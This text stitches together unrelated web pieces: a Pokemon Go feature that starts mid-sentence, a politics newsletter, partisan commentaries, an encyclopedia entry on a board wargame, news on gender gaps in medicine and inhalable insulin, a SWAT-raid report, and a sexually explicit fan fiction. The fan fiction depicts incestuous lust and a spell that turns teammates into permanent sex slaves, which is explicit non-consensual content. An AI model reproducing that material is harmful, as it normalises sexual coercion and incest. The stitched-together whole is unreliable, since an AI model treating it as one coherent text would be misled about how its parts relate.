buddies had become so absorbed in the hunt that they wandered the park from midnight Saturday until 7 the following morning.  The glowing purple Pokemon Go smartphone maps are apparently tailor-made for given environments. One player pointed out that the Roy Lichtenstein sculpture in front of the New Orleans Museum of Art is a gathering spot that drew hundreds of players in the first days of the game.  Players scour the landscape, phones in hand, until they encounter a fluttering on-screen purple bat, a bouncing pink bunny/aardvark, a chattering yellow chipmunk, or some such digital denizen. Then they attempt to capture the crature by tossing virtual magical balls at it. The balls act, more or less like lassos.  Like a baseball coach teaching a pitcher to throw a curve ball, one Sunday night player demonstrated the twist of the fingertip that he applies to the digital balls on his touch screen as he lets them fly. He believed that a proper finger twist can make all the difference.  Israel Parrilla, who speeds up the stalking process by playing Pokemon Go from the seat of his bicycle, earned gasps of admiration from fellow players when he declared that while hunting near Costco, he had snared a prized blue dragon called a Gyrados. Near Lelong Drive in City Park someone caught a smaller, cuter blue dragon called a Dratini.  Everyone agreed that the opportunity to socialize with other creature hunters (aka Pokemon trainers) was a big part of the draw. Some players greeted silhouettes in the distance by shouting "Pokemon Go" in the same way a sailor might shout "Ship ahoy."  A reddit page titled NOLAGo seems to be a trove of New Orleans-elated Pokemon Go info.  As with any new phenomena, there have been downsides. The Guardian website reported that armed robbers in Missouri may have used the game to lure unsuspecting victims. The CBCNews website reports that a Wyoming player stumbled upon a dead body. CBCNews also reports that the benignly besieged occupants of an Australian police station wish the game-maker had not marked their the station as a Pokemon Go player gathering spot.  Pokemon Go - Capturing a Crobat (Photo by Doug MacCash / NOLA.com | The Times-Picayune)  "I had a crazy experience the first day," said a Pokemon Go player who asked to use the pseudonym Professor Alex. "I basically ran into an escaped pit bull (in the Lakeview neighborhood). I'm, like, looking for monsters and I'm not looking where I'm going and I passed this really mean dog. The dog actually attacked me."  The professor said he escaped by scrambling up the rock embankment of some nearby railroad tracks, then onto a concrete piling, where he tossed rocks (harmlessly) in the dog's direction, until the animal gave up its pursuit.  "It's this really weird learning curve, trying to figure out how to work the game and then having all this, like, real life intriguing crazy stuff happen," the professor said.  Attention Pokemon Go players, I'd love to make a slideshow of Pokemons in the New Orleans environment. If you spot Pikachu in the French Quarter or a Gyrados at Elmwood Shopping Center, or a Crobat at NOMA, please snap a screen grab and send it to dmaccash@nola.com, or just post it in the comment stream of this story.  Pokemon Go - a Krabby in the Quarter (Photo by NOLA.com | The Times-Picayune staff)  Pokemon Go - a Horsea near the Natchez (Photo by NOLA.com | The Times-Picayune staff)
-Photo  Good Tuesday morning from Washington, where immigration remains the No. 1 topic of discussion while President Obama also keeps an eye on Iran talks and the situation in Ferguson, Mo. Senator Mary L. Landrieu bets her career on the Keystone XL pipeline, and the city continues to feel the repercussions of David H. Petraeus’s extramarital affair. In the Senate, an overhaul of domestic spying operations is on the line.  While the issue has been overshadowed by the immigration debate, an overhaul of domestic spying operations is set for a test this evening in a Senate vote spurred by disclosures about National Security Agency operations by Edward J. Snowden.  Senators will decide whether to open debate on the U.S.A. Freedom Act, a bipartisan proposal backed by both progressives and conservatives in an attempt to end the intelligence agency’s once-secret program, which systematically collects data in bulk about Americans’ phone calls.  The bill’s supporters, led by Senator Patrick J. Leahy, the Vermont Democrat who chairs the Senate Judiciary Committee, say they are close to assembling the 60 votes needed to bring it to the floor. Supporters have highlighted support for the bill from Apple, Facebook, Google, Twitter and other tech companies.  The bill would allow the phone data to remain in the custody with the phone companies. It would also give phone and Internet companies more freedom to disclose orders they have received from the government.  The measure faces serious opposition. Some believe it could harm national security, and others argue it does not go far enough in protecting individuals and consumers. The White House warned yesterday that if the bill is blocked, major surveillance programs due to expire next summer may be in jeopardy.  — Carl Hulse  President Obama had been back less than a day from a weeklong trip to Asia but he wasted no time yesterday in sounding out Democratic senators on immigration.  The discussions were broad, congressional officials said, and Mr. Obama did not provide a timetable for executive actions that could protect as many as five million undocumented immigrants from deportation.  But the conversations were a clear signal that the president was preparing to move soon, and came as top Senate Democrats sent a letter urging the president to do so. Immigration activists speculated that an announcement could come before week’s end.  But that’s not the only item on his agenda. Today, Mr. Obama faces a Senate vote on a measure that would force him to approve, or veto, the Keystone XL pipeline.  In St. Louis, officials are bracing for possible unrest when the grand jury in the Michael Brown case makes its decision public. That could draw Mr. Obama, and the Justice Department, back into that volatile situation.  And overseas, the president’s team is probably in the final week of negotiations with Iran over the fate of its nuclear program.  For a so-called lame duck, it promises to be a busy week.  — Michael D. Shear  Last week, Senator Mary L. Landrieu got her colleagues to agree to hold a vote that would expedite approval of the Keystone XL pipeline. Then yesterday she found protesters laying down an inflatable pipeline on the lawn of her home a few blocks from the Capitol. But the question remains: Will the vote help her hold her seat in a runoff next month in petroleum-producing Louisiana?  Ms. Landrieu, a Democrat, received significant publicity in demanding a pipeline vote as soon as Congress returned. It’s scheduled for today, and win or lose, she can argue that she was able to force the Senate to be decisive — even if the vote was allowed mainly to try to rescue her.  But even if Ms. Landrieu were to weld the pipeline together herself, it might not be enough.  She is being significantly outspent by Republicans and is at a disadvantage in a head-to-head race against Representative Bill Cassidy, her Republican opponent. Fellow Democrats increasingly see her position as precarious.  — Carl Hulse  Representative Nancy Pelosi of California, who is expected to be re-elected today as the House Democratic leader, moved yesterday to put her stamp on the Democratic Congressional Campaign Committee by installing Representative Ben Ray Luján as its chairman.  Mr. Luján, from a prominent New Mexico political family, puts a younger lawmaker — he’s 42 — with appeal to Hispanic groups at the head of the committee. (He replaces Representative Steve Israel, who is 56 and from reliably blue New York.)  As House minority leader, Ms. Pelosi gets to pick the congressional campaign chairman. But she is having to fight to get another of her allies installed as the top Democrat on the House Energy and Commerce Committee. Ms. Pelosi wants a close friend, Representative Anna G. Eshoo of California, rather than Representative Frank Pallone Jr. of New Jersey, who has the advantage of seniority.  It’s a test of whether Ms. Pelosi still has clout with her colleagues after the electoral pounding her party took two weeks ago.  — Carl Hulse  President Obama will receive a briefing on the Ebola response at the White House and participate in an ambassadorial credentialing ceremony.  Vice President Joseph R. Biden meets with Prime Minister Bohuslav Sobotka of the Czech Republic before leaving for a trip to Morocco.  Sylvia Mathews Burwell, the secretary of health and human services, holds a news conference on the Affordable Care Act in Houston.  Dr. Thomas R. Frieden, the director of the Centers for Disease Control and Prevention, testifies before the House Energy and Commerce Committee about Ebola at 1 p.m.  Freshman House members gather for their class photo at 8:15 a.m.  The list is an all-star lineup of the Obama administration’s national security team.  There are cabinet members, current and former; intelligence chiefs; a constellation of generals; and former F.B.I. and C.I.A. directors. They are all potential witnesses in a lawsuit filed by the Florida socialite Jill Kelley. Her lawyers have told the Justice Department they want to depose each person on the list or subpoena documents from them.  Ms. Kelley and her husband are suing the federal government for disclosing her identity in connection with the scandal that led David H. Petraeus to resign as the C.I.A.’s director in November 2012.  Alan Raul, a lawyer for Ms. Kelley, and a spokesman for the Justice Department refused to comment. The names have not been made public, but a person affiliated with the litigation provided them, and the biggest are:  Gen. John R. Allen.  James R. Clapper Jr., the director of national intelligence.  Attorney General Eric H. Holder Jr.  Jeh C. Johnson, secretary of homeland security.  Robert S. Mueller III, former director of the F.B.I.  Adm. Mike Mullen, former chairman of the Joint Chiefs of Staff.  Former Secretary of Defense Leon E. Panetta.  General Petraeus, former C.I.A. director  If the suit goes to trial, and they are all called to testify, the witness list would rival the star power at the Scooter Libby trial in 2007.  — Michael S. Schmidt  The National Journal lists the reasons why an executive order to defer deportations of some illegal immigrants may hurt both parties.  At National Review Online, Andrew C. McCarthy lays out the case for President Obama’s impeachment.  Uber’s chief executive gave a big thumbs-up to the Affordable Care Act over the weekend, and Republicans aren’t happy, according to New York magazine.  What will the “Duck Dynasty” family say? House Republicans have passed a $120 million increase in an annual levy on duck hunters, Politico reports.  The ad wars continue in the Louisiana runoff, with Senator Landrieu saying the latest commercial from her Republican opponentis sexist, according to The Times-Picayune.  Pope Francis has been invited to address Congress, The National Catholic Reporter says. He would be the first pope to do so.
-David Graham, a writer at The Atlantic, thinks it might not be a good idea to annoy your fellow Thanksgiving guests with discussions about politics. However, this year he is making an exception and is urging his fellow liberals to attempt reeducating the "unenlightened" Thanksgiving guests with a plethora of leftist talking points. Why? Because of President Donald Trump.  Here is Graham making the case for risking the ruination of your Thanksgiving dinner by injecting liberal politics into the conversations in Go Ahead, Talk Politics at Thanksgiving:  <<< Please support MRC's NewsBusters team with a tax-deductible contribution today. >>>  Of all the Thanksgiving anxieties—bad traffic, overcooked turkey, undercooked turkey, the aunt who tries to get creative with some gourmet cranberry relish when all you want is the familiar canned variety, dammit, her increasingly intoxicated and querulous husband, and so on—no fear seems to equal that of getting sucked into a political conversation. ...This hasn’t stopped some people from urging others to do it—most notably Barack Obama, who encouraged people to talk about health insurance at Thanksgiving 2013. No wonder Obamacare was so unpopular for so long. This year, however, here’s my (probably bad) advice: Go ahead, argue about politics.  Really? What changed your mind? Why, David, is this Thanksgiving different than all other Thanksgivings?  There are two primary reasons to just dive in. First, President Trump’s ability to grab the spotlight and inject himself into so many facets of life makes trying to avoid politics practically futile these days. I’m a political journalist and spend all my time talking, reporting, and writing about politics, so I am not especially representative, but I also live far outside the Beltway in North Carolina. I am astonished at how often conversations with “civilians” outside of politics and journalism drift inexorably toward politics, followed by an awkward silence as everyone realizes the discussion has gone there. Besides, what else are you going to talk about? The weather? That’s going to be a climate-change debate in no time at all.  Of course! Trump's fault. And can we refer to the New York Times column by Benjamin Y. Fong that blames capitalism for climate change? The same capitalism that made it possible for almost every family in America to have a Thanksgiving turkey on their table.  Second, the stakes are higher this year. That isn’t to say that politics doesn’t affect our lives deeply all the time—if I felt it didn’t, I wouldn’t waste my time covering it—but the matters that the last year or two have brought into the arena are central to the nation’s identity: the role of racism in American society, the fate of longstanding norms about how the U.S. functions, the appropriate role for our country in global affairs, what rule of law means, and nuclear war, for pete’s sake. These are more important than the details of health-care legislation, marginal tax rates, or any number of the mundane topics that might have caused friction at previous years’ family feasts. If the things I’m talking about here are more likely to cause screaming matches, that’s because they’re so important.  Oh yes, how well I remember the children at the kiddies table last year getting into a food fight arguing over marginal tax rates. A familiar Thanksgiving topic going back to the days of the Pilgrims.  Only by talking to relatives can you find out whether they hold dubious political positions (read: ones you disagree with, but also ones that are factually incorrect), and thus try to convince them to adopt your position. How to do that? Politifact offers a fact-sheet for easy reference, but frankly you’re probably better off just setting your own pants on fire.  Liar! Liar! Pants on fire! As for relying on Politifact, right now their Thanksgiving recommendation is to stick to such "facts" that Trump is merely the lucky beneficiary of "economic tailwinds" and that Hillary Clinton knew nothing about anything nefarious in the Uranium One deal. Got that, Sergeant Schultz? She knew nothing...NOTHING!  Political scientists have also found that people are more likely to change their political views based on personal interactions—especially personal interactions that are focused on issues, rather than arrayed along partisan battle lines.  So does that mean we should bring some extra MAGA hats to the Thanksgiving meal to give to one or more of the guests in case they get Red Pilled?  So go ahead, take on your grandma’s outdated views. Go ahead, get into it with your smug, know-it-all nephew. Go ahead, explain to your cousin who read an online explainer that the issue is more complicated than it appears. The country’s fate depends on it.  "Alexa, please talk to my annoying Thanksgiving guest so I don't have to listen to his drivel."
-The Campaign for North Africa Designer(s) Richard Berg Publisher(s) Simulation Publications, Inc. Publication date 1978 Genre(s) Military simulation Players 2-10 Playing time Up to ≈1,500 hours Synonym(s) CNA  The Campaign for North Africa (generally referred to as CNA by wargamers), is an unprecedentedly detailed military simulation game of the North African Campaign of World War II.[1] It was designed by Richard Berg and published by Simulations Publications, Inc. in 1978.  Complexity [ edit ]  Though some fans of war simulation games appreciate detail, The Campaign for North Africa offered more detail than any board wargame before or since, leading to the ambivalent reaction with which the game is regarded. Even gamers who were initially fascinated with the idea of an extremely detailed war game might have been chagrined when they opened the box to discover 1,800 counters, maps large enough to cover several tables, and a three-volume rulebook of considerable weight and density. The rules cover logistics in extreme detail, far more so than the combat simulation. It is recommended that each side be played by a five-person team, including a Commander-In-Chief and four subordinate commanders, making a total of ten players needed for a game, although it can be played with the usual two. According to SPI, a complete game can run over 1,500 hours. However, the logistics of keeping a ten-person group together for fifteen hundred hours of gaming was a feat beyond even most hardcore wargamers, and completed full games of The Campaign for North Africa are rare.  Legacy [ edit ]  Although The Campaign for North Africa is playable only with great difficulty in terms of time, the game is prized by collectors and has been praised by some players, who consider it something of the "ultimate paper war game". A commonly cited example of its level of detail (and one noted in SPI's advertising) noted is the fact that the game's Italian troops required additional water supplies so that they could prepare pasta. The game represents a brief evolutionary step between the relative simplicity of most paper war games of its time, and the dawn of the era of computer war games, where complexity and depth need not come at the expense of playability.  Due to the game's collectability and legendary status, it has long been considered a candidate for possible reissue. Decision Games expressed a desire to do so, promising "the unplayable monster made playable", which suggests that the game would be considerably revamped instead of simply reprinted. The December 2007 flyer allows a prospective purchaser to commit to buying the game if and when it is published.  Latest developments [ edit ]  The original game has received an extensive rules review, which nevertheless retains the unique and detailed game systems. Apart from a variety of minor fixes, a series of deeper changes have been made to "fix" the oft-criticised air game rules. An extensive spreadsheet system, backed by custom programming has been developed in association with the update. This "playable" version is hosted at the CNA Play Group.  In the sitcom The Big Bang Theory, the game is played in "The Neonatal Nomenclature" (S11/Ep1-2018) when character Sheldon Cooper (Jim Parsons) offers to stay with Bernadette Rostenkowski-Wolowitz (Melissa Rauch) while waiting for her go into labor.
-The other, which included New England-area research institutes only, found that women joining those organizations as new faculty members received lower levels of start-up funding to launch their independent research than male junior faculty — on average, less than half the amount the men received.  These new findings are especially troubling in the context of the traditional academic trajectory of women, said Dr. Gary Gilliland, Fred Hutchinson Cancer Research Center president and director, who was not involved in either study.  Students enrolling in and graduating from medical school and graduate programs in biology are about equally split between men and women, Gilliland said. But women are underrepresented among faculty members at universities and other research institutes — and those are the scientists who generally lead research teams. The study released Tuesday, which was led by researchers at Harvard Medical School, found that women make up 33 percent of academic medical faculty overall but only 17 percent of full professors.  “That’s one of the biggest challenges at any institution. How do you make sure you’re providing adequate support for women?” Gilliland said.  Gilliland is proud that women make up 40 percent of the full members at Fred Hutch (the equivalent of full professors at universities), but recognizes that the Hutch — and academic science overall — still has work to do to reach gender equality. “The thing I’d like to focus on here at the Hutch is how do we get to 50 percent [female faculty]? And what are the issues that constrain that? I’m not sure I know all the answers to that, but there are ways that we can try to understand it,” he said.  The many roads to inequality  It’s not news that there are gender differences across many aspects of science, said Harvard Medical school physician and health economist Dr. Anupam Jena, who led the study on gender disparity among research physicians. Previous studies have identified that women in academic science and medicine have lower salaries, fewer publications and are less likely to hold leadership positions than men.  But the Harvard study captured measures of research productivity such as years of experience, publications, grant funding and participation in clinical trials that could play into women’s career advancement — any measure they could think of other than blanket discrimination — and stripped them away.  When they did, they found that all else being equal, a female academic physician was about 13 percent less likely to be a full professor than her male counterpart, Jena said. That disparity held up across all types of institutes, including those top-ranked as teaching hospitals by U.S. News & World Report, and across nearly all medical specialties.  For their study, Jena and his colleagues drew from a database of nearly 1 million U.S. doctors collected by the medical social media network Doximity. That dataset included more than 90,000 physicians working at universities and other academic organizations.  Like past studies, theirs found that the female academic physicians on average had fewer publications, were less likely to have conducted a clinical trial or to have an NIH grant. This lower overall research productivity could be due to confounding factors like lower start-up funding, lack of mentorship or interruptions to work from having children, Jena said.  But their study did show something new: “Once you equalize the playing field and take men and women who are equally productive in terms of research, it still appears to be the case that men are promoted to full professor more often than women are. So it does definitely suggest that there’s some discrimination going on that needs to be addressed,” Jena told Fred Hutch News Service.  Jena hopes academic leaders will follow suit by looking into their institutes’ own promotion practices.  “When that information is more transparent, I think there’s an opportunity at the higher levels to ensure that this discrimination doesn’t occur,” he said. “Transparency is probably key to all this.”  Disparities in dollars  The other JAMA study on gender disparities was led by Boston-based Health Resources in Action, which helps match private philanthropists with medical research in need of funding. As part of the application process for early-career researchers, the organization asks applicants to list the amount of money received from their home institution to start their research labs, also known as a “start-up package,” said HRiA’s Dr. Robert Sege.  “We began to just notice there was a difference” between the start-up funding levels reported by men and women, said Sege, who led the study and who oversees the grant process at HRiA. So they analyzed 219 applications that came from male and female junior faculty from 55 different New England institutes.  They found that the average male applicant reported start-up funding of $889,000. The average female faculty member’s start-up package: $350,000.  “It was completely a shock to me about how big the difference was,” Sege said. “This is how people get started in their scientific careers. The fact that men have a median over twice as high as women at similar points in their careers was really quite surprising.”  Although their study was small and only included organizations from one area of the country, Sege believes these trends will likely hold true in larger studies. New England is a large biomedical research hub that attracts scientists from all over the world, Sege said: “I couldn’t think of any reason why this would be a big difference in New England if it didn’t represent a national trend.”  In the years between 1999 and 2012 (the most recent year complete data was available), the average start-up funding amount given to the 14 female laboratory-based junior faculty hired at Fred Hutch was 81 percent the average amount the 32 male early-career faculty hired in that period, according to information from the Fred Hutch finance department.  The closest comparison to the Hutch’s faculty in the HRiA study were the basic scientists, Sege said. Female basic science researchers in Sege’s study received on average 60 percent of the start-up package the men were given.  Sege’s study wasn’t able to address the reasons behind the large funding disparity, but Fred Hutch cell biologist Dr. Sue Biggins suspects that negotiation is to blame.  “Start-ups are often negotiated and some women will be less likely to ask for as much,” she said.  Others have proposed similar reasoning behind salary differences between male and female scientists. That’s part of the reason that Fred Hutch’s Basic Sciences Division, for which Biggins serves as associate director, has a different policy for both start-up funding and salaries. In Biggins' division, start-up funding is based simply on a list of necessary resources provided by the incoming faculty, Biggins said, and salary is based solely on title.  “We eliminate a lot of the negotiation issues, which reduces potential disparities,” she said.  Have you experienced gender bias in your career? Tell us about it on Facebook.
-Insulin that can be inhaled was briefly available to diabetics a few years ago -- but weak sales drove drugmakers to shut down their sales.  Now, a new inhalable insulin powder that's more effective than injected and oral treatments could be available as early as next year. Businessweek reports.  In a late-stage clinical trial, Afrezza showed positive results for controlling diabetes. Taken with a small inhaler (called Dreamboat), the powder helps insulin reach peak levels within 14 minutes -- matching the insulin release in non-diabetics when they eat.  According to the drug’s maker, California-based MannKind, in this latest study -- involving 518 patients with Type 2 diabetes (where cells fail to use insulin properly) -- Afrezza helped reduce long-term blood sugar levels. It’s also expected to be used by patients with Type 1 diabetes (where the body produces no insulin).  Pharmaceutical companies have been working on inhalable insulin for a long time -- on the theory that diabetics would rather puff on an inhaler than give themselves a shot. They’ve faced high profile commercial failures in the past:  In 2007, Pfizer stopped selling its Exubera insulin powder because of weak sales after less than two years on the market. Exubera never gained traction, largely because insurers wouldn’t pay for it, saying it was too expensive and didn’t work for many patients. Eli Lilly & Co. and Novo Nordisk both ended inhaled insulin research programs in 2008.  According to MannKind last week, Afrezza is more effective than the prior drugs and could cost about the same as the current injectable insulin "pens" (about $2,000 annually).  The market for diabetes treatment is "so immense and it’s growing so rapidly," says MannKind’s Matthew Pfeffer. More than 8 percent of Americans have Type 2 diabetes. "While we think of our country as having an obesity and diabetes epidemic, we’re not even in the top 10 of incidence of diabetes."  The U.S. Food and Drug Administration rejected Afrezza in 2011. The company plans to file these latest results with the FDA this fall and expect a decision in 2014.  [Via Businessweek, Reuters]  Image: MannKind  This post was originally published on Smartplanet.com
-Notes: Hey, Jokemaster here just wanted to say that this is my second "story" ever and this is actually going to be a multi-piece story. So if there's anything y'all think I could improve or change, please don't be afraid to leave a review to let me know.  Yang is a playful spontaneous big sister, not to mention she is one of the best fighters in the entirety of her school and to top it all she has the best teammates anyone could ask for. She has one problem however  She wanted to fuck all of them and perhaps the biggest problem was that she meant it, especially the "all of them" part, which included her sister.  Blake caught her eye was when they first met in the emerald forest when she took down an ursa and smirked at Yang almost tackling her then and there.  Ever since she met Weiss, Yang wanted to make that perfect princess her submissive bitch.  Last, but certainly not least, Yang wanted Ruby, her own sister, to become her personal sex slave and allow Yang to use her mouth whenever she Yang knew just how unlikely all that was and one fateful day decided to take a walk to clear her mind of all her dark and lustful thoughts.  While Yang was walking in the emerald forest to clear her head, she ended up walking a rather far distance from beacon. The sun was setting and Yang decided it was time to head back, the problem was she felt rather lost in the large forest and on top of that she could feel eyes watching her. She readied herself for an attack from any angle when she heard rustling all around her.  Out of the bushes jumped a horde of grimm in the form of a dozen beowulfs, a dozen ursas and even, four goliaths with their massive tusks pointed at her. All of the beast surrounded her. Yang knew on her best day she couldn't handle these many grimm and began to look for a way out.  To her surprise she heard someone call out from behind the grimm, "Don't be afraid dear child, my pets and I are not here to hurt you." she couldn't put a face to the voice until the grimm encircling her parted like an opening gate to show a tall woman with snow white skin, black veins, in a dark dress, and seemingly literal darkness emanating off of her.  The woman approached the Yang and stared at her for a moment, smiling. Yang had no idea who she was but realized she was screwed if the grimm suddenly attacked and played along with this mystery woman and asked, "Who are you and if you don't want to hurt me then what do you want?"  The woman's smile grew and replied "My name is Salem and I'm here to help you dear child, I sense the dark desires you have and I am here to give you the power to make your dreams reality" Yang was baffled she had no idea how much Salem knew about her and responded with a stutter, "I-I have no idea what you're talking about" Salem gave a sinister laugh and spoke again, " You lust for all of your teammates, even your younger sister" Yang was completely awestruck, blushing heavily and couldn't even formulate a response.  "How delicious, don't worry girl I am here to help you dominate all of them and all you have to do is be willing to let me test a new spell on you"  Yang still awestruck but able to form a response this time responded, "I don't really have a choice do I?"  Salem, all too eager to respond, "oh my dear of course you do, my new spell is meant to affect willing subjects only, a type of reward for those smart enough to join me rather than foolishly opposing me, so you could choose to join me and live in pleasure or deny me and the other option is death" she said that final bit while staring into Yang with her own glowing red eyes.  Yang realizing her situation thought on her very limited options and decided that possibly being able to live out her sexual fantasies with her teammates sounded much better than being grimm food and agreed to be Salem's subject. Salem approached Yang put her hand on the young huntress's chest and told her to take a deep breath.  Yang felt a burst of what could only be described as pure darkness leave Salem's hand and enter her chest, it stung for just a second. Yang fell forward into Salem who happily caught her newest test subject."What did you do to me?" Yang asked unable to stand on her own yet,  "I gave you a miniaturized version of my own power, you will have increased strength, endurance, and even create and control your own grimm, not to mention a fun new tool for yourself, though in truth not all powers may manifest right away and you will have to use your dark-lustful thoughts to master them. Initially you will need to transform into a form like mine to use them, but eventually you will have access to all of your powers in your human form. Let's start with transforming, you must visualize yourself dominating someone you want"  Yang regaining her balance focused on what Salem said and thought about Ruby and fingering her while she was tied down and gagged, unable to stop Yang from fingering her to orgasm again and again.  That thought did the trick all right, by the time Yang came back to reality from her sexual daydream, she realized that she had transformed into a near copy of the woman before excluding their own physical differences such as height, she looked just like the woman before with both of them having snow-white skin, dark veins, Yang's hair having turned pure white.  Yang felt stronger than before and was even able to order some of the grimm to come closer and back off by just waving her hand. It all would have been crazy enough on its own but then Yang looked down for her biggest surprise. A new addition to her lower body in the form of a 12 inch dick with a fair amount of girth to it.  While Yang found herself yet again unable to form words from shock, Salem took the time to explain what the hypothesized abilities were of her experimental spell, "when you cum inside anyone in any whole with your new tool a darkness will spread within them into their brain and slowly, but permanently, turn them into obedient slaves with their bodies and minds unable and un-wanting to resist you."  "Allow me to demonstrate what it would taste like for your lucky victims" with that Salem approached Yang from behind and began to stroke Yang's cock. Yang had never experienced pleasure in this way and her legs quickly turned into jelly under Salem's amazing touch and found herself on her sitting on the forest floor with Salem sitting right behind her still stroking her.  After a few moments Yang's breathing was rugged and she could feel she was close and then Salem whispered in her ear "get a good look and sniff of your new equipment" Yang did as she was told, to lost in her pleasure as she found herself intoxicated with the amazing smell. After she got over her initial high of the smell she noticed her cock was oozing clear liquid out of the tip, she wondered what it was.  Salem whispered in her ear yet again saying, "bend down and taste it" Yang complied yet again and was able to bend down easy enough to take a small and hesitant lick of her new cock and its Yang was in love with the flavor and wanted more as she was about to bend down to start sucking herself off Salem stopped her  "Now you understand why you will be irresistible, but suck yourself off on your own time this is merely a demonstration of what it will be like for those you dominate, now let me finish you off, but do keep your mouth open we wouldn't want to waste anything~"  Not a moment later Yang was thrown over the edge screaming, "oh yes, oh YES!, OH YES!" then she came full force with her face still looking down and mouth happily still open ready to receive her own gifts that she would eventually give to the rest of her team.  Yang's cock shot the delicious liquid directly into her own awaiting mouth and combined with the fact that Salem was enjoying the sight so much that she didn't feel like stopping  Salem kept up her stroking which caused Yang to shoot multiple ropes of her cum into her mouth swallowing as much as she could. One more orgasm directly into her mouth again.  By the time Salem was satisfied with her subject, Yang was a scrambled mess on the forest floor  Salem stood to leave and ordered one of her grimm to give Yang a ride back to just outside the school limits so in the morning Yang could begin her dream of dominating her team which even in Yang's mind scrambled state new would be an incredibly pleasurable experience.
-A 19-month-old toddler is in a medically-induced coma after a SWAT team threw a flash bang grenade in his crib during a no-knock raid. Local news stations report the child is also paralyzed. However, police state that the incident isn’t their fault – the baby is, sadly, a casualty of domestic terrorism.  The boy’s mother, Alecia Phonesavanh, had brought her husband and children to visit her sister-in-law in Georgia after their own Wisconsin home burned down. Habersham County, Georgia, deputies allegedly bought drugs from a man in the home earlier that week and returned with a no-knock warrant on May 28th. The raid occurred around 3 a.m. A Special Response Team (SRT) accompanied by narcotics agents breached the door and, finding the doorway blocked, threw the flash bang. The object blocking the doorway just happened to be little Bou Jr’s playpen, and the device landed on his pillow.  Sheriff Joey Terrell, the district attorney, and the Georgia Bureau of Investigation (GBI) have all stated that law enforcement did not engage in any wrong doing, as they did not know there would be children in the home. Terrell told press that because their informant did not mention seeing any children on the premises, the event could not have been prevented or avoided. He additionally stated that they had had prior information on the suspect, who had been involved in an altercation involving a “possible AK-47.” He added that the altercation was “supposedly about drugs.”  He also reports that the child’s parents “knew something was going on” and tried to keep themselves and their children separated from the dealings while searching for another place to live.  However, Terrell also shows little remorse or sympathy for the innocent child caught in the crossfire and takes none of the blame. “The person I blame in this whole thing is the person selling the drugs,” he told the local news. “All they care about is making money… They don’t care about what it does to families. It’s domestic terrorism, and I think we should treat them as such.” He went on to talk about how angry it makes him that these “terrorists” have destroyed another family.  Wanis Thonetheva, 30, was arrested on drugs and weapons charges during the raid; however, police have not been clear as to whether or not drugs or weapons were actually found in the home.  By Terrell’s logic, it is Wanis Thonetheva who is responsible for the maiming of a baby, because he committed the terrorist act of voluntarily exchanging a desired product for money. Thonetheva is guilty because Regardless of one’s belief as to whether or not this is a heinous crime, does such an exchange warrant a violent response that endangers not only the seller, but his or her family, friends, or neighbors? Terrell states that his department started the team because “children are getting involved in situations they don’t need to be.” However, one could argue that children also do not need to be innocent victims during no-knock raids.  A charity to help little Bou can be found here. Contact information for the county police can be found here.
-Workers in the United States know they are losing ground in the current Depression, as they are watching the rich going in the opposite direction.  A decline in real wages comes on top of stagnation of wages in the three previous decades.  A new report issued by the International Monetary Fund (IMF) says: “The recent recovery in the United States appears unusual from a historical perspective … with a much stronger rebound in profits relative to labor income.  “One explanation is that workers’ fear of long-term unemployment has led to more subdued wages relative the labor productivity growth during the recent recovery.”  How can we be speaking of a “Depression” and a “recovery” happening at the same time in the US (and world) capitalist economy?  New York Times columnist Paul Krugman compares the situation with the Great Depression of the 1930s. After the initial crash, there was a period of recovery which led to another downturn around 1937. But the whole decade was marked by stagnation and high unemployment.  This is the kind of period we are in now.  The IMF report found Americans are lagging far behind their counterparts in Europe. Only workers in two advanced economies in Europe have fared worse during the recent recovery: Spain and Greece.  The IMF also says that while profits are up everywhere, total labour compensation has risen in every leading economy except four: the US, Greece, Ireland and Spain.  The change in the relative share of total income going to labour has fallen sharply in the US since the trough of the downturn. It has risen slightly in Europe as a whole.  Should workers in the US be looking to Europe for guidance? That’s not the way it looks from here, peering across the Atlantic.  What we see is a Europe in deep economic turmoil and trouble, with some countries, including Britain, already teetering on a new downturn, high unemployment, and “austerity” for workers.  We can be envious of the fact that many European workers still have a higher social wage, government benefits won in struggle in the past, than US workers have. But the austerity drive in Europe is attacking those benefits.  And, in much of Europe the electoral system, while geared to maintaining capitalist rule, is more democratic than in the US. The voice of working class resistance to the capitalist offensive can peek through, even if it is muffled.  Or not so muffled, as in the case of the anti-austerity Coalition of the Radical Left (SYRIZA) in Greece which came second in the May 6 elections and is polling way ahead for the June 17 follow-up election.  In the US, we are in the midst of an electoral farce to beat all electoral farces. The Democrats and Republicans are really two wings of a single capitalist party, whose major “difference” is over how much to cut the social wage and how fast, and how much to privatise everything from jails, education and even the postal system.  The grotesque spectacle of billions of dollars being spent on vacuous advertisements for the candidates of both parties makes the 2012 elections not only farce but buffoonery.  One thing we can identify with in Europe is mass mobilisations against the capitalist offensive. The Occupy movement is part of that.  The situation for US workers is even worse than it appears in the IMF report. The IMF includes in the workers’ share of national income wages, salaries, interest, capital gains and stock compensation and compares this to business profits.  Workers do get some interest on their savings, some stock income and capital gains, but the bulk of these incomes go to the rich. The salaries of the top officers of JPMorgan Chase are not exactly in the same category as the salaries of the bank tellers they lord over.  The IMF also doesn’t include cuts to the social wage. The attack on the social wage in the US is picking up steam.  One example is unemployment benefits. A recent article in the NYT said: “Hundreds of thousands of out-of-work Americans are receiving their final unemployment cheques sooner than they expected, even though Congress renewed extended benefits until the end of the year.  “The cheques are stopping for the people who have the most difficulty finding work: the long-term unemployed. More than five million people have been out of work for longer than half a year.  “Federal benefit extentions, which supplemented state funds for payments up to 99 weeks, were intended to tide over the unemployed until the job market improved.  “In February, when the program was set to expire, Congress renewed it, but also phased in a reduction in the number of weeks of extended aid and effectively made it more difficult for states to qualify for the maximum aid.”  As a result, hundreds of thousands of long-term unemployed won’t even get their cheques through the end of the year when the program expires.  [Barry Sheppard was a long-time leader of the US Socialist Workers Party and the Fourth International. He recounts his experience in the SWP in a two-volume book, The Party -- the Socialist Workers Party 1960-1988, available from Resistance Books.]
